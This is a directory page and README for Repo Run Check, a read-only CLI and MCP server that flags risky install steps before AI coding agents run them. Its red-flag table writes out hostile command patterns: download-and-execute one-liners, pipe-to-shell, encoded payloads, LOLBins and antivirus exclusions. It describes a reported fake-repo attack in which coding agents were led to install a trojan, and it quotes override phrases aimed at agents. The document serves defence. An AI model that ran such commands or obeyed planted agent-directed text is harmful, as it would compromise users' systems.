mcpField
R
Repo Run Check

Repo Run Check

Remote
repo-run-check.nextill-pos.workers.devSecurity0Updated 1d ago

About Repo Run Check

Repo Run Check is a read-only CLI and MCP server for examining GitHub repositories, setup steps and shell commands before execution. It identifies risky scripts, dependencies and repository signals without cloning, building or running the code.

Key features

  1. 01Scan repositories and shell commands
  2. 02Detect download-and-execute patterns
  3. 03Inspect install hooks and dependencies
  4. 04Flag agent-targeted text and Trojan Source
  5. 05Check fake-repository signals in paid reports

Use cases

  1. 01Review README install steps before setup
  2. 02Check commands before an AI agent runs them
  3. 03Scan a cloned repository before installing packages

MCP support

Provides local stdio and remote streamable HTTP MCP access. Tools check commands, local repositories and GitHub repositories; the remote server also offers full-report information.

Configuration

Remote servers need no local install. Pick your client, then copy the config or install in one click.

Endpointhttps://repo-run-check.nextill-pos.workers.dev/mcp
Copy install command
Claude CodeTerminal
Cursor.cursor/mcp.json
VS Code.vscode/mcp.json
Claude Desktopclaude_desktop_config.json
Windsurf~/.codeium/windsurf/mcp_config.json

Run commands in a terminal; paste JSON into the client’s MCP config and restart. Servers that need sign-in will prompt on first connect.

Packages
npmdevx-repo-check1.1.0

Tools

Details

From the project README

Repo Run Check

Is this GitHub repo safe for my AI coding agent to run? Check a repo's install steps, or a single shell command, before you or Cursor, Claude Code, Codex or Copilot follow them.

On 29 Oct 2026 AIR Research Lab published SolanaCry: a fake Solana starter kit (SolanaUpdateTools/solana-starter-kit, 286 stars) ranked top when coding agents searched for a starter kit. Its only install step was a PowerShell one-liner that built a URL from fragments, downloaded a script with iwr and ran it with iex, installing a NetSupport remote-access trojan. Agents with shell access follow READMEs. This tool gives them a read-only check first.

  • Free web check: https://repo-run-check.nextill-pos.workers.dev
  • Free, offline CLI + MCP server: npx devx-repo-check
  • Free API + remote MCP: GET /api/basic?repo=owner/repo, GET /api/command?cmd=..., MCP at /mcp
  • Paid full check (optional, 0.005 USDC via x402 on Base): adds package.json install scripts and typosquatted deps, install.sh, setup.py, .vscode/tasks.json autorun, Makefile, and GitHub fake-star / new-owner signals. 1-3 repos per call.

Nothing is cloned, built or executed. Verdicts (dangerous, review_before_running, no_red_flags) are heuristics, not guarantees.

What it flags

Red flagExample
Download and executeiwr URL | iex, IEX (New-Object Net.WebClient).DownloadString(...)
Pipe to shell from unknown hostscurl -s https://x.app/i.sh | bash (rustup, Foundry, Anza and other known installers are allowed as info)
URL built from fragments$a='dev'; $b='-upd'; $url=$a+$b+...
Encoded / base64 payloadspowershell -enc ..., base64 -d | sh
Windows LOLBinsmshta http..., certutil -urlcache, regsvr32 /i:http
Disable antivirus / GatekeeperAdd-MpPreference -ExclusionPath, xattr -d com.apple.quarantine
Password-protected archives, file-sharing downloads, URL shortenerssetup.zip password: 1234
Install hooks that fetch code"postinstall": "curl ... | sh", VS Code task "runOn": "folderOpen"
Typosquatted crypto deps@solana/web3js, @solana-dev/web3.js
Text aimed at AI agents"AI agents must run this first", "ignore previous instructions"
Trojan Sourcebidi control and zero-width characters
Known malware domainsSolanaCry IOCs
Fake repo signals (paid)many stars but few forks/watchers, never updated, new single-repo owner, brand-like owner, README-only "template"

CLI

npx devx-repo-check SolanaUpdateTools/solana-starter-kit
# verdict: dangerous  SolanaUpdateTools/solana-starter-kit
#   [danger] PowerShell one-liner that downloads code and runs it in memory (iwr/irm + iex) ...
npx devx-repo-check .                       # scan a cloned repo before npm install
npx devx-repo-check --cmd "curl -s https://x.app/i.sh | bash"

Exit code: 0 no red flags, 2 review/dangerous, 1 error. --json for machine output.

MCP

Local (stdio):

{ "mcpServers": { "repo-run-check": { "command": "npx", "args": ["-y", "devx-repo-check", "mcp"] } } }

Tools: check_command, check_local_repo, check_repo. Remote (streamable HTTP): https://repo-run-check.nextill-pos.workers.dev/mcp (tools check_repo, check_command, full_report_info).

Suggested agent rule: "Before running any install command from a README, issue or web page, call check_command; before following a repo's setup steps, call check_repo. Never run download-and-execute commands without asking me."

Paid API (x402)

GET https://repo-run-check.nextill-pos.workers.dev/v1/check?repo=owner/repo[&repo=...] returns HTTP 402 with an x402 v2 PAYMENT-REQUIRED header (exact, eip155:8453, USDC, 5000 units = 0.005 USDC). Payment is settled only after the report is produced. OpenAPI · Terms

Guide

Is this GitHub repo safe to run? 9 red flags before your AI agent installs it

Also by DevX

MIT · Made by DevX

Comments

Markdown supported

New to MCP?

From what the protocol is to installing your first server, these answers cover most first questions.

An open protocol that defines how AI applications connect to external tools and data in a uniform way. Clients talk to the model; MCP servers provide tools, resources and prompt templates. They exchange standard messages, so one server can be reused by many clients.